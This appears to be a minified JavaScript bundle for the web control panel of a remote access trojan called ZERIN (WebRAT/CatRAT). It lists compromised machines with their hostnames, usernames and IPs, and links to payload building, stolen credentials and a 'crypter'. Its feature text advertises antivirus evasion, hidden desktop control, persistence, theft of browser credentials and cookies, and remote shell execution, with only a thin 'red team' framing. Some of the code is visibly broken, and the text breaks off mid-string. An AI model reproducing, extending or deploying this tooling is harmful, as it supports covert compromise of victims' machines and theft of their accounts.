i=e.createOscillator(),s=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.08,t+.1),s.gain.setValueAtTime(.08,t+.8),s.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(s).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function R6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function $6(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` + position:absolute;left:0;right:0;height:2px; + top:${n*13}%; + background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); + box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; + opacity:0; + animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; + `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,s=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` + position:absolute;left:${s}%;top:${o}%; + width:${i}px;height:${i}px; + background:${u};border-radius:50%; + box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; + --synth-dx:${l}px;--synth-dy:${c}px; + animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; + `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let iy=0,im=0;function B6(e,t){const n=Date.now();if(n-iy<40)return;iy=n,im=(im+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=im<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function F6(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,s=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` + left:${s}vw;width:${i}px;height:${i}px; + clip-path:${o}; + border:1.5px solid ${r}; + box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; + background:${r}08; + `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function W6(){const[e,t]=m.useState(!1),n=m.useRef([]),r=m.useRef();return m.useEffect(()=>{function i(s){var u,d;const o=(u=s.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=s.target)!=null&&d.isContentEditable)return;const l=s.key.length===1?s.key.toLowerCase():s.key;n.current.push(l);const c=ry.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);ry.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?R6():(D6(),$6()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),m.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),m.useEffect(()=>{if(!e)return;const i=s=>B6(s.clientX,s.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),m.useEffect(()=>{if(!e)return;const i=()=>{F6(),s=setTimeout(i,5e3+Math.random()*5e3)};let s=setTimeout(i,2e3);return()=>clearTimeout(s)},[e]),{isActive:e}}const U6={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},V6={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},H6={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},K6={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},G6={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function xd({status:e,size:t="md",showLabel:n=!1}){return a.jsxs("span",{className:"inline-flex items-center gap-2",children:[a.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block rounded-full ${U6[t]} ${H6[e]}`})]}),n&&a.jsx("span",{className:`font-mono font-medium tracking-wider ${V6[t]} ${K6[e]}`,children:G6[e]})]})}function Y6({open:e,onClose:t,agents:n}){const[r,i]=m.useState(""),[s,o]=m.useState(0),l=m.useRef(null),c=xr(),u=m.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(p=>p.hostname.toLowerCase().includes(f)||p.username.toLowerCase().includes(f)||p.internal_ip.includes(f)||p.external_ip.includes(f)||p.id.toLowerCase().includes(f)).slice(0,10).map(p=>({type:"agent",id:p.id,primary:p.hostname,secondary:`${p.username} — ${p.internal_ip}`,agent:p}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);m.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),m.useEffect(()=>{o(0)},[r]);const d=m.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return m.useEffect(()=>{if(!e)return;function f(p){if(p.key==="Escape"){t();return}p.key==="ArrowDown"&&(p.preventDefault(),o(h=>Math.min(h+1,u.length-1))),p.key==="ArrowUp"&&(p.preventDefault(),o(h=>Math.max(h-1,0))),p.key==="Enter"&&u[s]&&(p.preventDefault(),d(u[s]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,s,t,d]),e?a.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[a.jsx("div",{className:"absolute inset-0 bg-black/60"}),a.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),a.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),a.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?a.jsx("div",{className:"px-4 py-8 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):a.jsxs("div",{className:"py-1",children:[!r&&a.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,p)=>a.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(p),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${p===s?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&a.jsx(xd,{status:f.agent.status,size:"sm"}),a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("p",{className:`text-sm font-medium truncate ${p===s?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),a.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),a.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let ca={status:"idle",payloadName:"",startedAt:0,error:""};const Tp=new Set;function vd(){Tp.forEach(e=>e())}function Oj(){return ca}function Tj(e){return Tp.add(e),()=>Tp.delete(e)}function q6(e){ca={status:"building",payloadName:e,startedAt:Date.now(),error:""},vd()}function X6(){ca={...ca,status:"success"},vd()}function ay(e){ca={...ca,status:"error",error:e},vd()}function sy(){ca={status:"idle",payloadName:"",startedAt:0,error:""},vd()}const gd=m.createContext({lastMessage:null}),Z6=[{to:"/dashboard",label:"Dashboard",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})},{to:"/credentials",label:"Credentials",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M18 8a6 6 0 01-7.743 5.743L10 14l-1 1-1 1H6v2H2v-4l4.257-4.257A6 6 0 1118 8zm-6-4a1 1 0 100 2 2 2 0 012 2 1 1 0 102 0 4 4 0 00-4-4z",clipRule:"evenodd"})})}],Q6={to:"/crypter",label:"Crypter",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},J6={to:"/admin",label:"Admin",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function e_(){const e=m.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return a.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>a.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function t_(){const{logout:e,isAdmin:t}=ya(),r=m.useSyncExternalStore(Tj,Oj).status==="building",s=kj()==="rat_crypter"||t,o=[...Z6,...s?[Q6]:[],...t?[J6]:[]],l=xr(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:p,isSupported:h}=C6(),[x,g]=m.useState(!1),[y,v]=m.useState([]),{isActive:b,handleStatusClick:w}=I6(),{isActive:j}=W6(),[N,k]=m.useState(!1),z=m.useRef(""),S=m.useRef(null);m.useEffect(()=>{function D(G){var K,_;if(N||G.ctrlKey||G.metaKey||G.altKey)return;const R=(K=G.target)==null?void 0:K.tagName;R==="INPUT"||R==="TEXTAREA"||R==="SELECT"||(_=G.target)!=null&&_.isContentEditable||G.key.length===1&&(z.current+=G.key.toLowerCase(),z.current.length>20&&(z.current=z.current.slice(-10)),S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{z.current=""},3e3),z.current.includes("credits")&&(z.current="",k(!0)))}return window.addEventListener("keydown",D),()=>window.removeEventListener("keydown",D)},[N]),m.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const O=m.useCallback(async()=>{try{const D=await Sj();v(D)}catch{}},[]);m.useEffect(()=>{O();const D=setInterval(O,15e3);return()=>clearInterval(D)},[O]);const A=m.useCallback(D=>{if(D.type==="agent_update"){const G=D.payload;v(R=>{const K=R.findIndex(_=>_.id===G.id);if(K>=0){const _=[...R];return _[K]=G,_}return p("New Agent Connected",`${G.hostname} (${G.internal_ip})`),[G,...R]})}if(D.type==="event"){const G=D.payload;(G.type==="task_completed"||G.type==="task_failed")&&p("Task Update",G.message)}},[p]),{isConnected:T,lastMessage:P}=S6({onMessage:A});return m.useEffect(()=>{function D(G){(G.metaKey||G.ctrlKey)&&G.key==="k"&&(G.preventDefault(),g(R=>!R))}return window.addEventListener("keydown",D),()=>window.removeEventListener("keydown",D)},[]),a.jsx(gd.Provider,{value:{lastMessage:P},children:a.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[a.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[a.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:a.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"femboy-ear femboy-ear-left"}),a.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),a.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),a.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),a.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-muted border border-zerin-panel-border\r + hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r + transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Search..."}),a.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),a.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:D,label:G,icon:R})=>a.jsx(VE,{to:D,end:D==="/dashboard",className:({isActive:K})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 + ${K?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:K})=>a.jsxs(a.Fragment,{children:[K&&a.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),a.jsx("span",{className:K?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:R}),a.jsx("span",{className:"font-medium",children:G}),D==="/payloads"&&r&&a.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},D))}),a.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&a.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r + transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),a.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${T?"bg-zerin-accent":"bg-zinc-600"}`}),a.jsx("span",{className:T?"text-zerin-text-dim":"text-zerin-text-muted",children:T?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),a.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r + text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r + transition-colors duration-150`,children:[a.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),a.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),a.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),a.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:a.jsx(_E,{})}),a.jsx(Y6,{open:x,onClose:()=>g(!1),agents:y}),b&&a.jsx(e_,{}),N&&a.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>k(!1),style:{animation:"credits-in 0.5s ease-out"},children:[a.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),a.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[a.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` + _______ ______ ______ _____ __ _ + / |______ |_____/ | | \\ | + / |______ | \\_ __|__ | \\_| + `}),a.jsxs("div",{className:"space-y-4 mb-10",children:[a.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),a.jsxs("div",{className:"space-y-3",children:[a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),a.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),a.jsx("style",{children:` + @keyframes credits-in { + from { opacity: 0; } + to { opacity: 1; } + } + @keyframes glitch-appear { + 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } + 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } + 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } + } + @keyframes credits-glow { + from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } + to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } + } + @keyframes credit-slide { + from { opacity: 0; transform: translateY(15px); } + to { opacity: 1; transform: translateY(0); } + } + `})]})]})})}const n_=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let N=0;N{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function r_(e,t=40,n=0){const r=m.useRef(null),i=m.useRef(null),[s,o]=m.useState(!1);return m.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:s}}const i_=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:a.jsx("svg",{viewBox:"0 0 24 